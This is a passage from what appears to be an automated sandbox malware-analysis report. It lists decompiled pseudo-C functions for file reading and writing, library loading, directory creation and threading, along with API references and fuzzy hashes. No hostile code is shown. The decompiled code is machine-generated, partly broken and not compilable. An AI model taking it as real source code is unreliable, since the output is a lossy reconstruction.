						if(_t68 != 0xffffffff) {
							goto L14;
						} else {
							goto L12;
						}
					}
				}
				_t55 = 0;
				if((_t48 & 0x00000004) == 0) {
					goto L3;
				}
				goto L2;
			}

0x013a978d
0x013a9792
0x013a9798
0x013a97a3
0x013a97a5
0x013a97ae
0x013a97b7
0x013a97b7
0x013a97b9
0x013a97bd
0x013a97c5
0x013a97cd
0x013a97d6
0x013a97d8
0x013a97d8
0x013a97e3
0x013a97e8
0x013a97ea
0x013a97ea
0x013a97f7
0x013a9809
0x013a980d
0x013a9813
0x013a9818
0x013a987c
0x013a9881
0x013a9884
0x013a9887
0x013a988a
0x013a9891
0x013a98a2
0x013a98a6
0x013a98a6
0x013a98b6
0x013a981a
0x013a9820
0x013a983c
0x013a986b
0x013a9870
0x013a9872
0x013a9872
0x00000000
0x013a9870
0x013a9855
0x013a9857
0x013a9860
0x013a9862
0x013a9862
0x013a9869
0x00000000
0x00000000
0x00000000
0x00000000
0x013a9869
0x013a9818
0x013a97b0
0x013a97b5
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,-00000001,00000000,?,00000000,?,?,013A777A,?,00000005,?,00000011), ref: 013A980D
GetLastError.KERNEL32(?,?,013A777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 013A981A
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,013A777A,?,00000005,?), ref: 013A984F
GetLastError.KERNEL32(?,?,013A777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 013A9857

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 22d5de52e56946a70513a594f37cac626c88391afb86a3a65f5612e155614d6e
Instruction ID: 7ac1aea7c89d77f59810838c6c44d9ccb3e1a9f0b94c5aba42a8ef26275a22da
Opcode Fuzzy Hash: 22d5de52e56946a70513a594f37cac626c88391afb86a3a65f5612e155614d6e
Instruction Fuzzy Hash: 39313771840755AFE7209E289C45BDABEA8FB4531CF104719F990972C1D37695888BA0

Uniqueness

Uniqueness Score: -1.00%

Function 013A9663 Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E013A9663(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t25 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E013A976A(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E013A9663(_t25);
						}
					}
				}
				return _t15;
			}

0x013a9666
0x013a9669
0x013a966f
0x013a9679
0x013a9679
0x013a968b
0x013a9693
0x013a96ef
0x013a9695
0x013a9697
0x013a969e
0x013a96b7
0x013a96bb
0x013a96cc
0x013a96d0
0x013a96ea
0x013a96ea
0x013a96dc
0x013a96dc
0x013a96e5
0x00000000
0x013a96e7
0x013a96e7
0x00000000
0x013a96e7
0x013a96e5
0x013a96bd
0x013a96bd
0x013a96c6
0x00000000
0x013a96c8
0x013a96c8
0x013a96c8
0x013a96c6
0x013a96a0
0x013a96a0
0x013a96a8
0x00000000
0x013a96aa
0x013a96aa
0x013a96ab
0x013a96ab
0x013a96b0
0x013a96b0
0x013a96a8
0x013a969e
0x013a96f7

APIs

GetStdHandle.KERNEL32(000000F6), ref: 013A9673
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 013A968B
GetLastError.KERNEL32 ref: 013A96BD
GetLastError.KERNEL32 ref: 013A96DC

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 2b1effb6c67e9ce1e9436b60caf6f84d69fafa8eb18c52b3076d39bfb9a861d0
Instruction ID: 15ef9233996e35190d63d4d182f410171a12ac9cfaf411afa8364307ce05adaa
Opcode Fuzzy Hash: 2b1effb6c67e9ce1e9436b60caf6f84d69fafa8eb18c52b3076d39bfb9a861d0
Instruction Fuzzy Hash: 11118E30500218EFDF355E68D944B6A77ACEF0573DF80C52AF926A56A0D7358940CF52

Uniqueness

Uniqueness Score: -1.00%

Function 013C77C2 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E013C77C2(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x13fb288 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x13d32b0 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x21a16d56
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x013c77c7
0x013c77cb
0x013c77d2
0x013c77d6
0x013c77e4
0x013c77f4
0x013c77fa
0x013c77fe
0x013c7827
0x013c7829
0x013c782d
0x013c7830
0x013c7830
0x013c7836
0x013c7838
0x00000000
0x013c7839
0x013c7800
0x013c7809
0x013c7818
0x013c780b
0x013c780e
0x013c7814
0x013c7814
0x013c781c
0x00000000
0x013c781e
0x013c7821
0x013c7823
0x00000000
0x013c7823
0x013c781c
0x013c77d8
0x013c77dd
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,013C2203,00000000,00000000,?,013C7769,013C2203,00000000,00000000,00000000,?,013C7966,00000006,FlsSetValue), ref: 013C77F4
GetLastError.KERNEL32(?,013C7769,013C2203,00000000,00000000,00000000,?,013C7966,00000006,FlsSetValue,013D3768,013D3770,00000000,00000364,?,013C63E0), ref: 013C7800
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,013C7769,013C2203,00000000,00000000,00000000,?,013C7966,00000006,FlsSetValue,013D3768,013D3770,00000000), ref: 013C780E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: af1c934a86fe1a84680965c864bf415b4e20cd66881fbce1c24276f955db107e
Instruction ID: 3a638ce5b77617bf8da458c5b8ac9ace0e26be331fdfa9ea2b1c5adff8afacab
Opcode Fuzzy Hash: af1c934a86fe1a84680965c864bf415b4e20cd66881fbce1c24276f955db107e
Instruction Fuzzy Hash: 4E017136612326ABC7324A7DEC45A6B7F9CAB05FA5F104628FE0AD7145D720DC01CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 013B991D Relevance: 6.0, APIs: 4, Instructions: 30
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013B991D() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x013b992e
0x013b9936
0x013b993f
0x013b9949
0x013b9953
0x00000000
0x013b9953
0x013b995d

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 013B992E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 013B993F
TranslateMessage.USER32(?), ref: 013B9949
DispatchMessageW.USER32(?), ref: 013B9953

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: b8b38beb03af97b41ab8ca0ea35c6642eca3234f0906353c0a7b8aecc106d1e4
Instruction ID: ed7a6dfcc0a49ba435e92233f41e73b6f2a3fac699e2a53f46b545bb1ef7eff1
Opcode Fuzzy Hash: b8b38beb03af97b41ab8ca0ea35c6642eca3234f0906353c0a7b8aecc106d1e4
Instruction Fuzzy Hash: C0E0ED72C0212EA7DB30AAE6AD4CDDB7F6CEE06265B004511B619D3004E6689516C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 013AFBBD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E013AFBBD() {
				long _v4;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t12;
				void** _t18;
				void* _t22;

				_t12 = 0;
				if( *0x13dcbe8 > 0) {
					_t18 = 0x13dcbec;
					do {
						_t7 = CreateThread(0, 0x10000, E013AFD4F, 0x13dcbe8, 0,  &_v4); // executed
						_t22 = _t7;
						if(_t22 == 0) {
							_push(L"CreateThread failed");
							_push(0x13dcbe8);
							E013A6D8A(E013C1A79(E013A6D8F(0x13dcbe8)), 0x13dcbe8, 0x13dcbe8, 2);
						}
						 *_t18 = _t22;
						 *0x013DCC6C =  *((intOrPtr*)(0x13dcc6c)) + 1;
						_t8 =  *0x13e1e70; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t18, _t8);
						}
						_t12 = _t12 + 1;
						_t18 =  &(_t18[1]);
					} while (_t12 <  *0x13dcbe8);
					return _t8;
				}
				return _t5;
			}

0x013afbc2
0x013afbc6
0x013afbca
0x013afbcd
0x013afbe1
0x013afbe7
0x013afbeb
0x013afbed
0x013afbf2
0x013afc0f
0x013afc0f
0x013afc14
0x013afc16
0x013afc1c
0x013afc23
0x013afc28
0x013afc28
0x013afc2e
0x013afc2f
0x013afc32
0x00000000
0x013afc37
0x013afc3b

APIs

CreateThread.KERNELBASE ref: 013AFBE1
SetThreadPriority.KERNEL32(?,00000000), ref: 013AFC28

Part of subcall function 013A6D8F: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A6DAD

Strings

CreateThread failed, xrefs: 013AFBED

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 1f1f80e3efdeea723dfb8f2c8a2bc74c4a0311c3f265202045c64d92c0567a54
Instruction ID: 378a24040387f21d29a754fad5c29c28763f4aca265c99c8497331bb47f0ed54
Opcode Fuzzy Hash: 1f1f80e3efdeea723dfb8f2c8a2bc74c4a0311c3f265202045c64d92c0567a54
Instruction Fuzzy Hash: 9101497730470A7FE2386F5DAC41F7AB3ADEB40B5DF10012EFA5196180CAA1A841C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 013A9C18 Relevance: 4.6, APIs: 3, Instructions: 96
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E013A9C18(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				void* __ebp;
				int _t24;
				long _t32;
				void* _t36;
				void* _t42;
				void* _t52;
				intOrPtr* _t53;
				void* _t57;
				intOrPtr _t58;
				long _t59;

				_t52 = __edx;
				_t59 = _a8;
				_t53 = __ecx;
				if(_t59 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t53 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_a8 = _a8 & 0x00000000;
						_t42 = 0;
						if( *((intOrPtr*)(_t53 + 0xc)) == 0) {
							goto L12;
						}
						_t57 = 0;
						if(_t59 == 0) {
							L14:
							if( *((char*)(_t53 + 0x14)) == 0 ||  *((intOrPtr*)(_t53 + 0xc)) != 0) {
								L21:
								 *((char*)(_t53 + 8)) = 1;
								return _t42;
							} else {
								_t56 = _t53 + 0x1e;
								if(E013A6D16(0x13dcbe8, _t53 + 0x1e, 0) == 0) {
									E013A6F23(0x13dcbe8, _t59, 0, _t56);
									goto L21;
								}
								if(_a8 < _t59 && _a8 > 0) {
									_t58 =  *_t53;
									_t36 =  *((intOrPtr*)(_t58 + 0x14))(0);
									asm("sbb edx, 0x0");
									 *((intOrPtr*)(_t58 + 0x10))(_t36 - _a8, _t52);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t32 = _t59 - _t57;
							if(_t32 >= 0x4000) {
								_t32 = 0x4000;
							}
							_t10 = WriteFile( *(_t53 + 4), _a4 + _t57, _t32,  &_a8, 0) - 1; // -1
							asm("sbb bl, bl");
							_t42 =  ~_t10 + 1;
							if(_t42 == 0) {
								goto L14;
							}
							_t57 = _t57 + 0x4000;
							if(_t57 < _t59) {
								continue;
							}
							L13:
							if(_t42 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						_t24 = WriteFile( *(_t53 + 4), _a4, _t59,  &_a8, 0); // executed
						asm("sbb al, al");
						_t42 =  ~(_t24 - 1) + 1;
						goto L13;
					}
				}
				return 1;
			}

0x013a9c18
0x013a9c19
0x013a9c1e
0x013a9c22
0x013a9c2f
0x013a9c39
0x013a9c39
0x013a9c3e
0x013a9c3e
0x013a9c43
0x013a9c49
0x00000000
0x00000000
0x013a9c4b
0x013a9c4f
0x013a9cb3
0x013a9cb7
0x013a9d11
0x013a9d14
0x00000000
0x013a9cbf
0x013a9cc1
0x013a9cd1
0x013a9d0c
0x00000000
0x013a9d0c
0x013a9cd7
0x013a9ce8
0x013a9cee
0x013a9cf7
0x013a9cfc
0x013a9cfc
0x00000000
0x013a9cd7
0x00000000
0x00000000
0x00000000
0x013a9c51
0x013a9c51
0x013a9c53
0x013a9c5a
0x013a9c5c
0x013a9c5c
0x013a9c79
0x013a9c7e
0x013a9c80
0x013a9c83
0x00000000
0x00000000
0x013a9c85
0x013a9c8d
0x00000000
0x00000000
0x013a9caf
0x013a9cb1
0x00000000
0x00000000
0x00000000
0x013a9cb1
0x00000000
0x013a9c91
0x013a9ca0
0x013a9ca9
0x013a9cad
0x00000000
0x013a9cad
0x013a9c3e
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,013AC8A3,00000001,?,?,?,00000000,013B420A,?,?,?,?,?,013B3CAF), ref: 013A9C33
WriteFile.KERNEL32(?,00000000,?,013B3EB7,00000000,?,?,00000000,013B420A,?,?,?,?,?,013B3CAF,?), ref: 013A9C73
WriteFile.KERNELBASE(?,00000000,?,013B3EB7,00000000,?,00000001,?,?,013AC8A3,00000001,?,?,?,00000000,013B420A), ref: 013A9CA0

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: bc20016b8523cfab4ecccafb99755d3c336768d62d53a3d4c8e3e725b281c340
Instruction ID: e17ee459a959a5be9abf5650f4ba342f4af2a2455e6c7672d0f80f845941a471
Opcode Fuzzy Hash: bc20016b8523cfab4ecccafb99755d3c336768d62d53a3d4c8e3e725b281c340
Instruction Fuzzy Hash: 27314772149A09AFEB209F28D848B66FBACFB5170CF54420DF651A3580C774E488CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 013A9ED6 Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A9ED6(void* __ecx, void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t8;
				long _t10;
				void* _t11;
				int _t18;
				WCHAR* _t21;

				E013BCEC0();
				_t21 = _a4;
				_t8 =  *(E013AB8C0(__eflags, _t21)) & 0x0000ffff;
				if(_t8 == 0x2e || _t8 == 0x20) {
					L3:
					if(E013A9E4F(_t21) != 0 || E013AB2C5(_t21,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t10 = GetLastError();
						__eflags = _t10 - 2;
						if(_t10 == 2) {
							L12:
							_t11 = 2;
						} else {
							__eflags = _t10 - 3;
							if(_t10 == 3) {
								goto L12;
							} else {
								_t11 = 1;
							}
						}
					} else {
						goto L6;
					}
				} else {
					_t18 = CreateDirectoryW(_t21, 0); // executed
					if(_t18 != 0) {
						L6:
						if(_a8 != 0) {
							E013AA113(_t21, _a12);
						}
						_t11 = 0;
					} else {
						goto L3;
					}
				}
				return _t11;
			}

0x013a9ede
0x013a9ee4
0x013a9eed
0x013a9ef3
0x013a9f07
0x013a9f0f
0x013a9f4d
0x013a9f53
0x013a9f56
0x013a9f62
0x013a9f64
0x013a9f58
0x013a9f58
0x013a9f5b
0x00000000
0x013a9f5d
0x013a9f5f
0x013a9f5f
0x013a9f5b
0x00000000
0x00000000
0x00000000
0x013a9efa
0x013a9efd
0x013a9f05
0x013a9f3a
0x013a9f3e
0x013a9f44
0x013a9f44
0x013a9f49
0x00000000
0x00000000
0x00000000
0x013a9f05
0x013a9f69

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013A9EFD
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013A9F30
GetLastError.KERNEL32(?,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013A9F4D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: a69e8b0c4f6149a7bc1818ffeda961e7ae9c89670fbace449b36dc927300daa9
Instruction ID: d7b61154c5c09cf3d53c9b4ead8659096e3a879f544c0fba1ec244fe07555160
Opcode Fuzzy Hash: a69e8b0c4f6149a7bc1818ffeda961e7ae9c89670fbace449b36dc927300daa9
Instruction Fuzzy Hash: B501B531109259A5EB319B6C9C49FEE7B8CDF16A4FF844481FA05F6080D764D588C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 013A3A90 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E013A3A90(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t74;
				signed int _t81;
				intOrPtr _t91;
				void* _t117;
				char _t118;
				void* _t120;
				void* _t127;
				signed int _t141;
				signed int _t145;
				void* _t148;
				void* _t150;

				_t140 = __edx;
				_t120 = __ecx;
				E013BCDF0(E013CF456, _t150);
				E013BCEC0();
				_t148 = _t120;
				_t153 =  *((char*)(_t148 + 0x6cc4));
				if( *((char*)(_t148 + 0x6cc4)) == 0) {
					__eflags =  *((char*)(_t148 + 0x45f0)) - 5;
					if(__eflags > 0) {
						L26:
						E013A135C(__eflags, 0x1e, _t148 + 0x1e);
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t148 + 0x6cb0)) - 3;
					__eflags =  *((intOrPtr*)(_t148 + 0x45ec)) - ((0 |  *((intOrPtr*)(_t148 + 0x6cb0)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d;
					if(__eflags > 0) {
						goto L26;
					}
					_t81 =  *(_t148 + 0x5628) |  *(_t148 + 0x562c);
					__eflags = _t81;
					if(_t81 != 0) {
						L7:
						_t117 = _t148 + 0x20e8;
						E013AC562(_t81, _t117);
						_push(_t117);
						E013B0BCE(_t150 - 0xe6ec, _t140, __eflags); // executed
						_t118 = 0;
						 *((intOrPtr*)(_t150 - 4)) = 0;
						E013B1FA8(0, _t150 - 0xe6ec, _t150,  *((intOrPtr*)(_t148 + 0x56c4)), 0);
						_t145 =  *(_t150 + 8);
						__eflags =  *(_t150 + 0xc);
						if( *(_t150 + 0xc) != 0) {
							L15:
							__eflags =  *((intOrPtr*)(_t148 + 0x566b)) - _t118;
							if( *((intOrPtr*)(_t148 + 0x566b)) == _t118) {
								L18:
								E013AA6F9(_t148 + 0x21a0, _t140,  *((intOrPtr*)(_t148 + 0x5640)), 1);
								 *(_t148 + 0x2108) =  *(_t148 + 0x5628);
								 *(_t148 + 0x210c) =  *(_t148 + 0x562c);
								 *((char*)(_t148 + 0x2110)) = _t118;
								E013AC615(_t148 + 0x20e8, _t148,  *(_t150 + 0xc));
								_t127 = _t148 + 0x20e8;
								 *((char*)(_t148 + 0x2137)) =  *((intOrPtr*)(_t148 + 0x5669));
								 *((intOrPtr*)(_t127 + 0x38)) = _t148 + 0x45d0;
								 *((intOrPtr*)(_t127 + 0x3c)) = _t118;
								_t91 =  *((intOrPtr*)(_t148 + 0x5630));
								_t141 =  *(_t148 + 0x5634);
								 *((intOrPtr*)(_t150 - 0x9aa4)) = _t91;
								 *(_t150 - 0x9aa0) = _t141;
								 *((char*)(_t150 - 0x9a8c)) = _t118;
								__eflags =  *((intOrPtr*)(_t148 + 0x45f0)) - _t118;
								if(__eflags != 0) {
									E013B1C3F(_t150 - 0xe6ec,  *((intOrPtr*)(_t148 + 0x45ec)), _t118);
								} else {
									_push(_t141);
									_push(_t91);
									_push(_t127); // executed
									E013A9120(_t118, _t141, _t145, __eflags); // executed
								}
								asm("sbb edx, edx");
								_t140 =  ~( *(_t148 + 0x569a) & 0x000000ff) & _t148 + 0x0000569b;
								__eflags = E013AA6C7(_t148 + 0x21a0, _t145, _t148 + 0x5640,  ~( *(_t148 + 0x569a) & 0x000000ff) & _t148 + 0x0000569b);
								if(__eflags != 0) {
									_t118 = 1;
								} else {
									E013A6F5F(__eflags, 0x1f, _t148 + 0x1e, _t148 + 0x45f8);
									E013A6E8B(0x13dcbe8, 3);
									__eflags = _t145;
									if(_t145 != 0) {
										E013A5E18(_t145);
									}
								}
								L25:
								E013B0E0F(_t150 - 0xe6ec, _t140); // executed
								_t74 = _t118;
								goto L28;
							}
							_t140 =  *(_t148 + 0x21bc);
							__eflags =  *((intOrPtr*)(_t140 + 0x5124)) - _t118;
							if( *((intOrPtr*)(_t140 + 0x5124)) == _t118) {
								goto L25;
							}
							asm("sbb ecx, ecx");
							_t135 =  ~( *(_t148 + 0x5670) & 0x000000ff) & _t148 + 0x00005671;
							__eflags =  ~( *(_t148 + 0x5670) & 0x000000ff) & _t148 + 0x00005671;
							E013AC5CD(_t148 + 0x20e8, _t118,  *((intOrPtr*)(_t148 + 0x566c)), _t140 + 0x5024, _t135, _t148 + 0x5681,  *((intOrPtr*)(_t148 + 0x56bc)), _t148 + 0x569b, _t148 + 0x5692);
							goto L18;
						}
						__eflags =  *(_t148 + 0x5634);
						if(__eflags < 0) {
							L12:
							__eflags = _t145;
							if(_t145 != 0) {
								E013A1FA5(_t145,  *((intOrPtr*)(_t148 + 0x5630)));
								E013AC632(_t148 + 0x20e8,  *_t145,  *((intOrPtr*)(_t148 + 0x5630)));
							} else {
								 *((char*)(_t148 + 0x2111)) = 1;
							}
							goto L15;
						}
						if(__eflags > 0) {
							L11:
							E013A135C(__eflags, 0x1e, _t148 + 0x1e);
							goto L25;
						}
						__eflags =  *((intOrPtr*)(_t148 + 0x5630)) - 0x1000000;
						if(__eflags <= 0) {
							goto L12;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(_t148 + 0x5669)) - _t81;
					if( *((intOrPtr*)(_t148 + 0x5669)) != _t81) {
						goto L7;
					} else {
						_t74 = 1;
						goto L28;
					}
				} else {
					E013A135C(_t153, 0x1d, _t148 + 0x1e);
					E013A6E8B(0x13dcbe8, 3);
					L27:
					_t74 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t150 - 0xc));
					return _t74;
				}
			}

0x013a3a90
0x013a3a90
0x013a3a95
0x013a3a9f
0x013a3aa5
0x013a3aa7
0x013a3aae
0x013a3acc
0x013a3ad3
0x013a3d0c
0x013a3d12
0x00000000
0x013a3d12
0x013a3adb
0x013a3aec
0x013a3af2
0x00000000
0x00000000
0x013a3afe
0x013a3afe
0x013a3b04
0x013a3b15
0x013a3b16
0x013a3b1f
0x013a3b24
0x013a3b2b
0x013a3b30
0x013a3b3f
0x013a3b42
0x013a3b47
0x013a3b4a
0x013a3b4d
0x013a3ba2
0x013a3ba2
0x013a3ba8
0x013a3c04
0x013a3c12
0x013a3c26
0x013a3c33
0x013a3c39
0x013a3c3f
0x013a3c4a
0x013a3c50
0x013a3c5c
0x013a3c5f
